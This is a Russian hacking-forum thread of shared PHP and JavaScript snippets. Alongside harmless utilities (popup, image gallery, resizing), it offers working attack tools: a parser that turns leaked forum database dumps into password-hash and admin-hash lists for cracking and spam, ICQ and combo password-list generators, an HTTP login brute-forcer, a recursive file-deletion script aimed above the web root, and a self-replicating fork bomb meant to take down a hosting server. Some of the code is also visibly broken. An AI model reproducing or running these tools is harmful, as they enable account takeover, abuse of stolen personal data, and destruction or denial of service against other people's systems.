Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,185
    Reputations:
    430
    PHP:
    <?

    /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
    /*                                                                       
    /*                    Forum Dump Parser v0.2 (FDPv0.2)                   
    /*                              by Re@ctor                               
    /*                    http://truenet.net.ru/security/                       
    /*                                                                       
    /*                                                                       
    /*       Скрипт предназначен для частного использования и позволяет      
    /*    привести имеющиеся дампы баз данных в единый удобный формат для    
    /*    дальнейшего анализа в программе Passwords Pro, либо просто           
    /*    в списки для других программ.                                       
    /*                                                                       
    /*      Скрипт запрещается использовать в корыстных целях и автор не       
    /*    несёт ответственности за возможный ущерб, причинённый от исполь-   
    /*    зования данного скрипта.                                           
    /*                                                                       
    /*      Скрипт запрещается использовать в противозаконных целях, либо       
    /*    целях, ведущих к умышленному или неумышленному нарушению законода- 
    /*    тельства Российской Федерации.                                       
    /*                                                                       
    /*                Хорошего дня и доброго насроения! ;-)                   
    /*                Помните про существование TrueNET! =)                   
    /*                                                                       
    /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/

    ###### 1. выходной формат файлов ######
    # для брута, формат Passwords Pro
    #$sort = array('username','password','salt'); # пользователи
    #$sort = array('email','password','salt'); # мыльники
    $sort = array('icq','password','salt'); # аськи
    # помните, что формат PPro - имя:хэш:сальт:расшифр.пароль:комментарий
    # поэтому надо писать от 2 до 3 значений, т.к. меньше или больше
    # будет воспринято неверно программой.

    # просто базы
    #$sort = array('email'); # e-mail
    #$sort = array('icq'); # icq

    ###### 2. формирование строк ######
    $delim "¤"# разделитель между значениями
    $br "\n"# чем заканчивать строку (\n - перенос строки)

    ###### 3. промежуточный вывод ######
    $makefiles 1# делать ли отдельные файлы для каждого дампа
    $ext "txt"# расширение выходного файла этих файлов

    ###### 4. параметры сбора информации ######
    $site 1# если $makefiles = 0;, то получать сведения о сайте
    # из титла и мета-тегов (необоходимо подключение к сети) и записывать в начало файла
    # ( удобно при составлении тематических спам-баз )
    # формат файла должен быть префиксАДРЕС_САЙТАрасширение, где префикс и расширение любые
    $site_prefix ''# если $site=1, указать префикс файлов
    $site_ext '.sql'# если $site=1, указать расширение файлов
    $convert 0# конвертировать полученный текст в win-1251, если оно не в нём (отключить при багах)

    ###### 5. общий файл с данными ######
    $hashmake 1# делать ли единый файл со всеми хэшами
    $hash_filename '!PasswordsPro.Hashes'# имя файла с хэшами

    ###### 6. выборка из дампов админов в отдельный файл ######
    $admins 1# сделать файл с хэшами админов дампов
    $admin_pass 'password'# имя ячейки с хэшем пароля
    $admin_salt 'salt'# имя ячейки с салом пароля
    $admin_comment = array('username','email','icq'); # то что будет в комментарии в полях пассворс-про
    $admin_filename '!admin.PasswordsPro.Hashes';

    ###### 7. (WARNING!) имя первой ячейки в таблице ######
    $firstintable 'userid'# название первой ячейки в таблице (важно!)

    ini_set("max_execution_time","86400");
    set_time_limit(0);

    function 
    make($value) { return preg_replace("'\'(.*?)\''i",'\\1',$value); }
    function 
    checksalt($salt) { if(strlen($salt)>3) return str_replace(array("\\\\",'\"',"\'"),array("\\",'"',"'"),$salt); else return $salt; }
    function 
    koi($txt) { return convert_cyr_string($txt,'k','w'); }
    function 
    iso($txt) { return convert_cyr_string($txt,'i','w'); }
    function 
    myau() { echo "\n\nDone! ;-D\n\nNice day. Visit http://truenet.net.ru/ !\n\n"; }

    $d=opendir('.');
    while((
    $e=readdir($d))!=false) {
        if(
    $e=='.'||$e=='..'||$e==$admin_filename||$e==$hash_filename||$e==$argv[0]) continue;
        if(
    is_file($e)) {
            if(
    $makefiles==1)$f fopen("$e.$ext","w+");
            echo 
    "[+] $e (".filesize($e)." bytes)\n";
            
    $file file($e);
            
            foreach(
    $file as $a) {
                
    $tmp explode(' ',$a); $tablesuf=$tmp[1];
                if(!
    $vars) { if($tablesuf==$firstintable) { $vars[]=array('name'=>$firstintable,'num'=>0); } continue; }
                foreach(
    array_unique(array_merge($sort,$admin_comment)) as $s) {
                    if(
    $tablesuf==$s) { $vars[]=array('name'=>$s,'num'=>count($vars)); $y=1; }
                }
                if(!
    $y$vars[]='b'; else unset($y);
                if(
    strstr($a,'PRIMARY KEY')) break;
            }
            
            foreach(
    $file as $a) {
                if(
    strstr($a,"INSERT INTO")) {
                    
    $tmp preg_replace("'INSERT INTO (.*?) VALUES\((.*?)\);'i",'\\2',$a);
                    
    $values explode(',',$tmp);
                    foreach(
    $values as $v) { $m[] = str_replace(array("\r","\n"),'',$v); }
                    foreach(
    $sort as $s) {
                        if(!
    $vars) { echo "[!] Can't get table values from $e =[\n"; break; } else foreach($vars as $v) {
                            if(
    $admins==1&&$hashmake==0&&$makefiles==0) {
                                if(!
    $tr$tr[]=$e;
                                if(
    $v['name']==$admin_pass$tr[]=make($m[$v['num']]);
                                elseif(
    $v['name']==$admin_salt$tr[]=checksalt(make($m[$v['num']]));
                                foreach(
    $admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]);
                                
    $admok=1;
                            } else {
                                if(
    $s==$v['name']) {
                                    if(
    $s=='salt'$tm[] = checksalt(make($m[$v['num']])); 
                                    else 
    $tm[] = make($m[$v['num']]);
                                }
                                if(
    $admins==1&&!$admok) {
                                    if(!
    $tr$tr[]=$e;
                                    if(
    $v['name']==$admin_pass$tr[]=make($m[$v['num']]);
                                    elseif(
    $v['name']==$admin_salt$tr[]=checksalt(make($m[$v['num']]));
                                    foreach(
    $admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]);
                                }
                            }
                        }
                        if(
    $admok==1) break; $admok=2;
                    }
                    if(
    $tm[0])$globhash[]=$towrite[]=@implode($tm,$delim); if($admins==1)if($tr[0])$odmen[]=@implode($tr,$delim).$delim.$delim.@implode($comment,', ');
                    unset(
    $tr); unset($m); unset($tm); unset($comment);
                    if(
    $admok==1) break;
                }
            }
            if(
    $makefiles==1) {
                if(
    $site==1) {
                    
    $host preg_replace("'$site_prefix(.*?)$site_ext'i",'\\1',$e);
                    echo 
    "[:] connecting to $host..\n";
                    
    $fp fsockopen($host,80,&$errno,&$errstr,5);
                    if(!
    $fp) echo "[:] Error connecting $host ($errno - $errstr)\n";
                    
    fputs($fp,"GET / HTTP/1.0\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)\r\nHost: $host\r\nAccept-Language: ru\r\nAccept-Charset: windows-1251, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n\r\n");
                    while(!
    feof($fp)) {
                        
    $tmp=fgets($fp,1000);
                        if(
    preg_match("'charset='i",$tmp)||!$schar) {
                            
    $ch=preg_replace("'(.*?)charset=(.*?)\r\n'i",'\\2',$tmp);
                            if(
    preg_match("'koi8-r'i",$ch)) $koi=1;
                            elseif(
    preg_match("'iso8859-5'i",$ch)) $iso=1$schar=1;
                        }
                        elseif(
    preg_match("'<title>(.*?)</title>'i",$tmp)) {
                            
    $title=preg_replace("'(.*?)<title>(.*?)</title>(.*?)'i",'\\2',$tmp);
                            echo 
    "[:] TITLE ok..\n";
                        }
                        elseif(
    preg_match("'<meta (.*?)keywords(.*?)>'i",$tmp)) {
                            
    $kiwords=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp);
                            echo 
    "[:] KEYWORDS ok..\n";
                        }
                        elseif(
    preg_match("'<meta (.*?)description(.*?)>'i",$tmp)) {
                             
    $descr=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp);
                             echo 
    "[:] DESCRIPTION ok..\n";
                        }
                        elseif(
    preg_match("'</head>'i",$tmp)||preg_match("'<body'i",$tmp)) break;
                    }
                    
    fclose($fp);
                    if(
    $koi||$convert==1) { $title=koi($title); $kiwords=koi($kiwords); $descr=koi($descr); }
                    if(
    $iso||$convert==1) { $title=iso($title); $kiwords=iso($kiwords); $descr=iso($descr); }
                    
    $info="Site: $host\nTitle: $title\nDescription: $descr\nKeywords: $kiwords\n\n"$title=$host=$descr=$kiwords='';
                }
                echo 
    "[~] sorting and writing hashes in $e.$ext..\n"; @asort($towrite); fwrite($f,$info.@implode($towrite,$br)); fclose($f); unset($info);
            }
            unset(
    $vars); unset($file); unset($towrite); unset($admok);
        }
    }
    if(
    $hashmake==1) { echo "
    [*] sorting & writing all hashes..\n"
    ; @asort($globhash); $f fopen($hash_filename,"w+");fwrite($f,@implode($globhash,$br));fclose($f);}
    if(
    $admins==1) { echo "
    [*] sorting & writing admin hashes..\n"
    ; @asort($odmen); $f fopen($admin_filename,"w+"); fwrite($f,@implode($odmen,$br)); fclose($f);}

    myau();
    ?>
     
    3 people like this.
  2. DRON-ANARCHY

    DRON-ANARCHY Отец порядка

    Joined:
    4 Mar 2005
    Messages:
    713
    Likes Received:
    142
    Reputations:
    50
    давно хотел навоять че-нить подобное... но руки коротки)
    держи плюс до кучи)
     
    2 people like this.
  3. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    JavaScript попап

    Code:
    function popup(height,width,tittle,text) 
      {
      msg=window.open("","msg","height="+height+",width="+width+",left=300,top=300");
      msg.document.write("<html><title>"+tittle+"</title>");
      msg.document.write("<b"+"ody onblur=window.close()>");
      msg.document.write(text);
      msg.document.write("</b"+"ody></html>");
    }
    Только что дорабатывал скрипт своей гостевой и с удивлением заметил, что в PHP < 5 отсутствует столь важная функция str_ireplace. Но безвыходных ситуаций не бывает :)

    PHP:
    if(!function_exists('str_ireplace')) 
      {
      function 
    str_ireplace($search,$replace,$subject
        {
        
    $search preg_quote($search"/");
        return 
    preg_replace("/".$search."/i"$replace$subject); 
        }
      }
     
    #63 Joker-jar, 30 Mar 2007
    Last edited: 31 Mar 2007
    1 person likes this.
  4. DRON-ANARCHY

    DRON-ANARCHY Отец порядка

    Joined:
    4 Mar 2005
    Messages:
    713
    Likes Received:
    142
    Reputations:
    50
    зато присутствует str_replace() которой можно вырезать или заменить че угодно
     
  5. mR_LiNK[deface_0nl

    mR_LiNK[deface_0nl Elder - Старейшина

    Joined:
    12 Dec 2006
    Messages:
    147
    Likes Received:
    27
    Reputations:
    13
    Классический пример получения док-а по httP​


    Скрипт, который по httP протоколу получает документ с сервера::

    PHP:
    <?
    $fp fsockopen("www.host.ru"80, &$errno, &errstr30);

    //посылаем GET-форму в виде "URL+хост"
    fputs($fp"GET /files/doc.zip HTTP/1.0\nHOST: www.host.ru \n\n");

    //ситаем все до начала следующего док-а
    while(fgets($fp2048) !="\n\n" && !feof($fp));

    //копируем то, что прочитали в переменную $buff
    uset($buff);
    while(!
    feof($fp)) $buff.=fread($fp2048);

    //закрывается сокет
    fclose($fp);

    echo 
    'Файл загружен, размер файла: ' .strlen($buff). 'bytes.';
    flush();

    //далее записываем загруженный файл в другой, 
    //к примеру, dload.out. Если мы скачали zip файл, то,
    // переименовав dload.out в dload.zip, можно дальше 
    //работать с этим файлом как с обычным zip архивом.
    $f=fopen('dload.out''wb+');
    fwrite($f$buffstrlen($buff));
    fclose($f);
    ?>
    ЗЫ::Ответ сервера состоит из заголовка и тела документа. Интересует же только тело документа.
    Поэтому, все что идет до документа мы пропускаем, зная, что заголовок от тела документа отделяется строкой "\r\n". Заголовок читается функцией 'fgets', а бинарные данные 'fread'


    ЗЫЫ:: кстати не так давно, не помню кто, спрашивали о генераторе паролей..простейший вариант:

    PHP:
    <?
    $pass md5(uniqid(rand), true);
    //возвращается 128-битный хеш
    ...
    ?>
     
    #65 mR_LiNK[deface_0nl, 11 Apr 2007
    Last edited: 11 Apr 2007
  6. mR_LiNK[deface_0nl

    mR_LiNK[deface_0nl Elder - Старейшина

    Joined:
    12 Dec 2006
    Messages:
    147
    Likes Received:
    27
    Reputations:
    13
    рекурсивное удаление

    Зло зло зло__))
    //малые шалости_
    "Кому-то создавать, кто-то должен созедать, а кто-то наглый) все разрушать"

    Теперь по делу::
    PHP:
    <?php
    //вызывается функция, удаляющая файлы с сервера, с параметром '..', ))
    //чтобы подняться на один уровень выше:: это позволит уничтожить больше файлов, )))
    //так как наверняка веб_приложение находится в отдельной директории))))
    //поехали
    delfiles("..");

    //функция, удаляющая каталоги и файлы сервера
    function delfiles($catalog)
    {
    $dir opendir($catalog)
    while (
    false !== ($file readdir($dir))
      {
      
    //Если текущей объект - файл, то что делаем?? del del & del
      
    if(is_file($catalog."/".$file)) unlink($$catalog."/".$file);
      
    //Если текущий объект - каталог, то рекурсивный вызов delfiles(), 
      //тем самым избегаем каталогов '.' и '..',
      //которые соответствуют текущему и вышележащему))
      
    else if (is_dir($catalog.'/'.$file) && ($file !='.') && ($file != '..')) delfiles($catalog.'/'.$files);
      }
      
    //закрываем дир
      
    closedir($dir);
      
    //ну и на последок))
      
    rmdir($catalog);

    ?>
    О недосказанном:: есть возможность модификации рекурсии вверх по дереву))
    НО последнее слово как всегда за правами доступа))..ну разве это проблема)

    Итак дамы и господа) будте бдительны!! Порой безопасность приложений играет более важную роль чем сами приложения
    Безопасность::
    Решить вышеописанную проблему поможет проверка расширения файла (а может и не решить)))

    зы:: 2nc.striem -> исправлено!
     
    #66 mR_LiNK[deface_0nl, 12 Apr 2007
    Last edited: 12 Apr 2007
    2 people like this.
  7. Fr-Ron

    Fr-Ron Elder - Старейшина

    Joined:
    10 Sep 2006
    Messages:
    184
    Likes Received:
    72
    Reputations:
    13
    Вот, сегодня написал... Генерация uin;pass list по словарю для уинов с заданной маской (xxxyxxz 5557552)

    PHP:
    <?php

    $mask 
    "xxxyxxz";
    $pass file("pass.txt");

    $f fopen("result.txt""w");

    If (
    $mask){

    For (
    $x 1$x <= 9$x++){
     For (
    $y 0$y <= 9$y++){
      For (
    $z 0$z <= 9$z++){
       For (
    $p 0$p <= 99$p++){ If ($pass[$p+1]) { $num $mask;
        For (
    $n 0$n <= 8$n++){

        If ( 
    $num[$n] == "x" ) { $num[$n] = $x; }
        If ( 
    $num[$n] == "y" ) { $num[$n] = $y; }
        If ( 
    $num[$n] == "z" ) { $num[$n] = $z; }
        
        

       
    fputs ($f,$num.";".$pass[$p]); }}}}}}

    fclose ($f);

    ?>
     
    #67 Fr-Ron, 12 Apr 2007
    Last edited: 12 Apr 2007
  8. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    конвертирование jpg в html с 100% сохранением качества картинки! (размер знчительно увеличеваеться)
    PHP:
    <?
    $imgjpg='pic.jpg'//имя  jpg картинки

    set_time_limit(0);
    $start=time('s');
    $fo=fopen($imgjpg.'.html','w');
    fwrite($fo,'<table border=0  cellspacing=0 cellpadding=0><style>td{width: 1px;height: 1px;}</style>');
    $im ImageCreateFromjpeg($imgjpg);
    $sim=array(0,1,2,3,4,5,6,7,8,9,'A','B','C','D','E','F');
    function 
    to16($de)
    {
       global 
    $sim;
       
    $ans='';
       
    $ans.=$sim[($de-$de%16)/16];
       
    $ans.=$sim[$de%16];
       return 
    $ans;
    }
    $x=imagesx($im);
    $y=imagesy($im);
    for(
    $j=0;$j<$y;$j++)
    {
    fwrite($fo,'<tr>');
      for(
    $i=0;$i<$x;$i++)
      {
         
    $rgb=ImageColorAt($im$i,$j);
           
    $r to16(($rgb >> 16) & 0xFF);
           
    $g to16(($rgb >> 8) & 0xFF);
           
    $b =to16($rgb 0xFF);
       
    fwrite($fo,"<td bgcolor=$r$g$b></td>");
       }
      
    fwrite($fo,'</tr>');
    }
    fclose($fo);
    echo 
    'Законченно за: '.(time('s')-$start).' секунд(ы)<br><a href="'.$imgjpg.'.html">Открыть</a>'
    ?>
     
    #68 nc.STRIEM, 12 Apr 2007
    Last edited: 12 Apr 2007
    1 person likes this.
  9. grinay

    grinay IQ- 137%

    Joined:
    15 Jun 2004
    Messages:
    409
    Likes Received:
    174
    Reputations:
    305
    Кто вас так учил писать регулярные выражения?)
    Ты что.Я ужаснулся когда это увидел.

    PHP:
    <?php
    $data
    ="HTTP    203.94.89.112    80    No    UnResolved    UnResolved    704    No
    HTTP    66.165.172.163    80    No    UnResolved    UnResolved    562    No
    HTTP    212.227.80.22    3128    No    UnKnown    s15179588.rootmaster.info    4328    No
    HTTP    219.95.65.250    80    No    UnResolved    UnResolved    1047    No
    HTTP    85.88.182.139    3128    No    Russia    not-defined-pppoe.amur.ru    1032    No"
    ;
    preg_match_all("/[\d]+\.[\d]+\.[\d]+\.[\d]+\s[\d]+/i",$data,$match);
    print_r($match);
    ?>
     
    #69 grinay, 12 Apr 2007
    Last edited by a moderator: 12 Apr 2007
    1 person likes this.
  10. Fr-Ron

    Fr-Ron Elder - Старейшина

    Joined:
    10 Sep 2006
    Messages:
    184
    Likes Received:
    72
    Reputations:
    13
    Вот, давненько писал, руки никак не доходят чтоб чазмер и прорчие прелести выводились =)

    Галерея для изображений. По дэфолту берет все изображения из папки /walp.
    Автоматически считает все картинки в папке и постранично выводит их уменьшенные копии ( по 4 на странице ). При нажатии на мини - картинку, кидает на оригинал.

    PHP:
            <?php

              $dir 
    opendir ("./walp");
               
    $count_f 0;
                while ( 
    $file readdir ($dir))
                 {
                  if (( 
    $file != ".") && ($file != ".."))
                 { 
    $count_f $count_f 1; }
                   
    $walp[$count_f] = $file;
                 }
              
    closedir ($dir);

              
    //  Выводим список страниц
                  
    If ($p == 0) { $p 1; }
                  print (
    "<br><br>");
                  
    $pp $p 1;
                  print (
    "pages :");
                  if (
    $p 1) { print ("<a href = ?p=$pp> &lt;&lt;prev..</a>"); }
                  print (
    "<a href = ?p=1>1</a>");
                  for (
    $i 2$i <= ($count_f/4); $i++)
                  { print (
    "..<a href = ?p=$i>$i</a>"); }
                  
    $count_fn $count_f/4;
                  if ((
    $i 1)*$count_f)
                  { print (
    "..<a href = ?p=$i>$i</a>"); }
                  
    $pn $p 1;
                  if (
    $p $count_f/4) { print ("<a href= ?p=$pn>..next>></a></a>"); }
                  print (
    "<br><hr width = 80%>");

               
    //  Выводим картинки в зависимоти от страницы

              
    if ($p $count_f/4)
             {
              for (
    $i = ($p*3); $i <= ($p*4); $i++)
              {
                print (
    "<a href = ./walp/$walp[$i]><img src = ./walp/$walp[$i] width=400></a><br><br><hr width = 80%><br>");
              }
                  print (
    "<br><br>");
             }
              if ( 
    $p >= $count_f/4)
              {
              for (
    $i = ($p*3); $i <= $count_f$i++)
              {
                print (
    "<a href = ./walp/$walp[$i]><img src = ./walp/$walp[$i] width=400></a><br><br><hr width = 80%><br>");
              }
                  print (
    "<br><br>");
               }
               
    //  Выводим список страниц

                  
    print ("<br><br>");
                  
    $pp $p 1;
                  print (
    "pages :");
                  if (
    $p 1) { print ("<a href = ?p=$pp> &lt;&lt;prev..</a>"); }
                  print (
    "<a href = ?p=1>1</a>");
                  for (
    $i 2$i <= ($count_f/4); $i++)
                  { print (
    "..<a href = ?p=$i>$i</a>"); }
                  
    $count_fn $count_f/4;
                  if ((
    $i 1)*$count_f)
                  { print (
    "..<a href = ?p=$i>$i</a>"); }
                  
    $pn $p 1;
                  if (
    $p $count_f/4) { print ("<a href= ?p=$pn>..next>></a></a>"); }
                  print (
    "<br><hr width = 80%>");
              
    ?>
     
  11. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    >>>mamont
    http://php.ru/manual/function.scandir.html
    функция scandir() есть начиная с 5ой версии, а она еще не везде стоит((
     
  12. Underwit

    Underwit Banned

    Joined:
    6 Oct 2006
    Messages:
    191
    Likes Received:
    137
    Reputations:
    16
    Этот скрипт создает комбо лист.

    PHP:
    <?
    $login file('login.txt');
    $pass file('pass.txt');
    $combo fopen('combo.txt','a');
    for(
    $a='0'$a<sizeof($login); $a++)
     {
       for(
    $b='0'$b<sizeof($pass); $b++)
         {
            
    fwrite($combortrim($login[$a]).';'.$pass[$b]);   
          }
     } 
    fclose($combo);
    ?> 

    а Этот скрипт читает файл сравнивает с шаблоном и выводит список совпадений без повтарений.

    PHP:
    <?
    error_reporting(0);
    $sha '(www)\.[a-z0-9A-Z]{1,100}\.(com)';
    $path 'file.htm';
    $end = array();
    $link '';
    $file fopen($path'r');
    while(!
    feof($file))
    {
    $_file fgets($file);
    if(
    ereg($sha$_file$link))
    {
    array_push($end$link['0']);}}
    fclose($file);
    $end array_unique($end);
    foreach(
    $end as $key => $val)
    {echo 
    $val.'<br>';}
    ?>
     
    #72 Underwit, 16 Apr 2007
    Last edited: 16 Apr 2007
    1 person likes this.
  13. mR_LiNK[deface_0nl

    mR_LiNK[deface_0nl Elder - Старейшина

    Joined:
    12 Dec 2006
    Messages:
    147
    Likes Received:
    27
    Reputations:
    13
    Скрипт простой брутфорс атаки по http.
    (Некотрые моменты были упущены и специально не рассмотрены,
    чуть позже для наглядности приведу реальный пример, с разбором тела ответа, но пока только так.
    Также очень часто для защиты от подобной атаки приложения используют различные проверки по заголовкам,
    их помогает избежать подмена данных в заголовках.
    Так же чуть позже напишу скрипт брута через прокси)


    Скрипту необходимо 2-а файла. 1-ый со списком логинов (каждый логин в новой строке!).
    2-ой словарь для брута (каждое слово в новой строке!)

    PHP:
    <?php
    //массив логинов
    $f_log fopen ('login.txt''r');
    $login fread($f_log65000);
    $name explode("\n"$login);
    for (
    $i=0$i<count($name); $i++)
    {
    $name[$i]=trim($name[$i]);
    }
    fclose($f_log);

    //массив паролей из словаря))
    $f_pass fopen ('pass.txt''r');
    $passwd fread($f_pass65000);
    $pass explode("\n"$passwd);
    for (
    $i=0$i<count($pass); $i++)
    {
    $pass[$i]=trim($pass[$i]);
    }
    fclose($f_pass);

    $hostname "www.host.ru";
    //соединяемся с сервером
    $fp fsockopen($hostname80$errno$errstr30);
    if(!
    $fp
    //проверяем успешность соединения
      
    echo "$errstr ($errno)<br />\n";
    } else {
    //собственно брут
      
    for($n=0$n<count($name); $n++)
      {
      
    $path "/script.php?login=".$name[$n]."&passwd=";
      for(
    $p=0$p<count($pass); $p++)
      {
      
    $header "GET http://".$hostname.$path.$pass[$p]." HTTP/1.0\n\n"

          
    //отправляем запрос
           
    fputs($fp$header); 
          
    //построчно считываем ответ сервера
          
    $line=''
          while (!
    feof($fp)) 
          {  
            
    $line .= fgets($fp1024);  
          }
          
    //работаем с ответом
          //особенность аутентификации через формы - это невозможность анализа полей
          //http заголовков, так как независимо от успешности аутентификации в них будет '200OK'
          //соответственно необходим парсинг тела ответа на наличие 
          //характерных элементов успешной аутентификации
          
          //$rez = fopen('rezcopyline.txt', 'a+');  применяется для
          //fputs($rez, $line);                     отладки
          //fclose($rez);                           скрипта
          
          //здесь несколько строк кода разбора ответа
          //шаблонного примера здесь привести не могу
          //т.к. абсолютно каждый раз код разный
          
          //если характерный элемент был найден::
          
    $luck 'Для '.$name[$n].' пароль: '.$pass[$p];
          
    $f_success fopen('result.txt''a+');
          
    fputs($f_success$luck); //пишем результат в файл
          
    fclose($f_success);
          echo 
    '<br>';
          echo 
    'Для '.$name[$n].' пароль: '.$pass[$p];
          echo 
    '<br>';
          }
          }
        }
    fclose($fp);     
    ?>
    зы:: под мелкие нужды легко вносятся изменения или модификации.
    ззы:: если у кого возникли вопросы и предложения,в личку!
    зззы:: всю конструктивную критику с удовольствием принимаю!!
     
    #73 mR_LiNK[deface_0nl, 17 Apr 2007
    Last edited: 17 Apr 2007
    2 people like this.
  14. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    PHP. Функция для вывода списка файлов в данной дериктоии и ниже. Форматировать по вкусу.
    PHP:
    function browse_tree($npath$ipath$showhtfiles=false)

      
    $op=""
      
    $notadir=array("."".."); 
      
    $dir=opendir($npath); 
      while (
    $file=readdir($dir))
        { 
          
    // если стоит опция не показывать файлы вроде ".htaccess" - проверяем 
          
    $stripped_as_ht=($showhtfiles) ? false : (substr($file,0,1)==".") ; 
          
    // если это не "." и не ".." 
          
    if ((filetype($npath.$file)=="dir")&&(!in_array($file$notadir))
            { 
              
    $nipath="$ipath/$file"
              
    browse($npath.$file."/"$nipath); 
            } 
          else 
            if ((!
    in_array($file,$notadir)) && (!$stripped_as_ht)) 
              { 
                
    $op.="$ipath/$file\n"
              } 
         } 
      
    // При необходимости - раскомментировать следующую строку 
      // $op=nl2br($op); 
      
    return $op
    }
     
    1 person likes this.
  15. mR_LiNK[deface_0nl

    mR_LiNK[deface_0nl Elder - Старейшина

    Joined:
    12 Dec 2006
    Messages:
    147
    Likes Received:
    27
    Reputations:
    13
    Функция ресайза изображения

    Функция ресайза изображения​


    На вход подаются путь к изменяемой картинке, новая ширина и высота.

    PHP:
    function SetImgSize($img$width$height)
    {
             
    //получаем тип файла    
        
    {
            case 
    "jpg":
                
    $srcImage = @ImageCreateFromJPEG($img);                
            break;
                
            case 
    "gif"
                
    $srcImage ImageCreateFromGIF($img);
            break; 

            case 
    "png"
                
    $srcImage ImageCreateFromPNG($img); 
            break;
            
            default:
                return -
    1;
            break;
        }
                    
        
    $srcWidth  ImageSX($srcImage); 
        
    $srcHeight ImageSY($srcImage); 
            
        if((
    $width $srcWidth) || ($height $srcHeight))
        {
            
    $ratioWidth  $srcWidth/$width
            
    $ratioHeight $srcHeight/$height

            if(
    $ratioWidth $ratioHeight)
            { 
                
    $destWidth  $srcWidth/$ratioHeight
                
    $destHeight $height
            }
            else
            { 
                
    $destWidth  $width
                
    $destHeight $srcHeight/$ratioWidth;                         
            } 

            
    $resImage ImageCreateTrueColor($destWidth$destHeight);
            
            
    ImageCopyResampled($resImage$srcImage0000$destWidth$destHeight$srcWidth$srcHeight);    
                
            
    unlink($img);
                
            
    //определяем тип
            
    {
                case 
    "jpg":
                    
    ImageJPEG($resImage$img100); 
                break;
                    
                case 
    "gif"
                    
    ImageGIF($resImage$img);                     
                break; 

                case 
    "png"
                    
    ImagePNG($resImage$img);                     
                break;
            }
                
            
    ImageDestroy($srcImage); 
            
    ImageDestroy($resImage); 
        }
    }
     
  16. Developer

    Developer Elder - Старейшина

    Joined:
    3 May 2006
    Messages:
    152
    Likes Received:
    25
    Reputations:
    10
    Скрипт, может не совсем полезный... В общем, downer... Прицнип работы:
    1. Запускается скрипт, в нем вечный цикл, который создает точно такой же скрипт с другим именем и запускает его.
    2. Шаг 1

    За 10 секунд один файл порождает около 1000 таких скриптов и запускает их... Эти 1000 скрипт за следующие 10 секунд пораждают 1000 * 1000 таких скрипт и запускают их %))) Я думаю это должно убить хостинг.

    Требования: поддержка popen на хосте и права на создание файлов в папке.

    Скрипт написал за 10 минут, просто было интерестно :)))

    PHP:
    <?php

    // HOST DoooWNER
    // By SpeedHack

    if (isset($_GET['start'])) {
        
    $fp popen('php -f ' __FILE__ ' &''r');
        
    pclose($fp);
    } else {
        while (
    1) {
            
    $file dirname(__FILE__) . '/' md5(uniqid()) . '.php';
            
    $fp fopen($file'w');
            
    fwrite($fpfile_get_contents(__FILE__));
            
    fclose($fp);
            
    $fp popen('php -f ' $file ' &''r');
            
    pclose($fp);
        }
    }

    ?>
     
    #76 Developer, 4 May 2007
    Last edited: 4 May 2007
    1 person likes this.
  17. Developer

    Developer Elder - Старейшина

    Joined:
    3 May 2006
    Messages:
    152
    Likes Received:
    25
    Reputations:
    10
    Можно чуть упростить:

    PHP:
    <?php

    while (1) {
        
    $new dirname(__FILE__) . '/' md5(uniqid()) . '.php';
        
    $fp fopen($new'w');
        
    fwrite($fpfile_get_contents(__FILE__));
        
    fclose($fp);
        
    $fp popen('php -f ' $new ' &''r');
        
    pclose($fp);
    }

    ?>
     
  18. KoT94

    KoT94 Elder - Старейшина

    Joined:
    16 Apr 2007
    Messages:
    21
    Likes Received:
    5
    Reputations:
    0
    прикольно показывает анекдотики
    Code:
    <p align="left"><strong>Анекдот:</strong><br>
            <font size="1" face="Verdana, Arial"><script
            language="JavaScript">
    var h=(Math.random()*26);
     if (h <1) document.writeln("- Мыкола, ты слыхал, як москали ICMP-пакеты называють? <br> - Як? <br> - Пинги!..");
     if (h > 1 && h < 2) document.writeln("Интернетчика спросили: <br> - Что такое Червона Рута? <br> - Это женщина-админ на сервере Компартии.");
     if (h > 2 && h < 3) document.writeln("Звонок в компьютерную контору: <br> - С моим компьютером проблемы, он не включается... <br> - Как не включается? <br> - Да пишет все время: Вставьте дискету, вставьте дискету... <br> - А вы вставляли? <br> - Нет... Как-то не догадался.");
     if (h > 3 && h < 4) document.writeln("Подведены итоги лотереи <b>Windows 95</b>: <br> Выиграла фирма Microsoft. Разыграны миллионы чайников.");
     if (h > 4 && h < 5) document.writeln("Школьный учитель спрашивает учеников о профессии родителей: <br> - Вася, чем твоя мама занимается на работе? <br> Вася встает и гордо говорит: <br> - Она - доктор! <br> - Замечательно, ну как насчет тебя, Маша? <br> Девочка стеснительно произносит: <br> - Мой папа разносит почту. <br> - Спасибо, Маша - говорит учитель. <br>   Ну, а твои родители что делают, Вовочка? <br> Вовочка гордо встает и объявляет: <br> - Мой папа играет музыку в борделе! <br> Обалдевший учитель решил направиться к Вовочке домой. <br> - В каких условиях вы растите ребенка? - спрашивает он у отца. <br> Тот отвечает: <br> - Вообще-то я программист и специализируюсь на TCP/IP коммуникационном протоколе в системе UNIX. Ну как объяснить это семилетнему пацану?");
